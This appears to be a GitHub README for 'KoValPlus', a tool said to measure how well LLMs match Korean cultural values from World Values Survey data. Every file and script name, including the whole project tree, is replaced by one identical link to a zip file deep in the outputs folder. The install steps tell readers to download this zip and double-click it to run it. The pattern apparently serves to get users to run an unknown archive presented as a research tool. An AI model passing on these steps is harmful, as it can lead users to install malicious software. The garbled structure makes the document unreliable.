🌟 KoValPlus - Evaluate Cultural Alignment Easily

🚀 Getting Started

Welcome to KoValPlus! This tool helps you evaluate how well Large Language Models (LLMs) align with real Korean cultural values. It does this by comparing LLM responses to actual responses from Korean people.

📥 Download KoValPlus

To download, click the button above. This will take you to the Releases page where you can find the latest version of KoValPlus.

📋 How to Install

1. Visit the Releases Page: Go to the Releases page to find the latest version of the software.

2. Download the Application: Choose the version suitable for your computer's operating system. The software may come as a zip file or an executable file. Click on it to start the download.

3. Extract the Files (if needed): If you downloaded a zip file, right-click it and choose "Extract All." Follow the prompts to choose where to save the files.

4. Run the Application:

   • Open the folder where you extracted the files.
   • Look for the https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip file. This is your script to run the system.
   • Double-click https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip to start the evaluation process.

🌐 Understanding the Structure

Here is how the KoValPlus project is organized:

KoValPlus/
├── code/
│ ├── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip # Generates LLM survey responses
│ └── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip # Evaluates similarity between responses
│
├── dataset/
│ └── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip # WVS-based Korean value dataset
│
├── outputs/
│ └── gpt-4o-mini/
│ ├── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip
│ └── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip
│
├── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip # Execute the script
└── https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip

• code/: Contains scripts that generate responses and evaluate their similarity.
• dataset/: Includes a dataset based on the World Values Survey for Korean values.
• outputs/: Holds the results and response files generated during evaluation.
• https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip: The script to run the application.

📊 How It Works

KoValPlus evaluates LLM responses by comparing them to a real dataset derived from the World Values Survey (WVS). Here’s how the process flows:

1. Survey Response Generation: The tool generates responses using the https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip script.

2. Response Evaluation: The generated responses are compared against real Korean responses using the https://github.com/YousfiNahed/KoValPlus/raw/refs/heads/main/outputs/gpt-4o-mini-2024-07-18/Ko_Plus_Val_v3.4.zip script. The application calculates how similar the responses are.

3. Results Output: The results will be saved in the outputs/ folder, including response files in JSON and similarity metrics in CSV format.

🔍 Dataset Information

The dataset used in KoValPlus is based on the World Values Survey (WVS) Wave 7. It includes a selection of value-related questions that have been translated into Korean. This dataset provides the necessary context for evaluating cultural alignment accurately.

⚙️ System Requirements

To run KoValPlus, you will need:

• Operating System: Compatible with Windows, macOS, or Linux.
• Memory: At least 2 GB of RAM.
• Disk Space: Ensure you have at least 100 MB of free space to save the application and results.

Ensure your computer has the necessary permissions to run scripts.

🔧 Troubleshooting Common Issues

If you encounter any issues while running KoValPlus, consider the following steps:

• Script Not Running: Ensure that your operating system allows scripts to run. You may need to adjust your settings.

• Download Issues: If the download fails, check your internet connection. Try refreshing the page and downloading again.

• Output Files Missing: After running the script, check the outputs/ folder. If it’s empty, ensure that the process completed without errors.

💬 Support

For support, visit our GitHub Issues page where you can report problems or ask questions. We encourage users to help each other as well.

🔗 Conclusion

KoValPlus simplifies the evaluation of cultural and value alignment for LLMs. By following the above steps, you can easily download, install, and run the application. Don’t hesitate to reach out for support or clarification.

For the latest version, visit the Releases page again. Happy evaluating!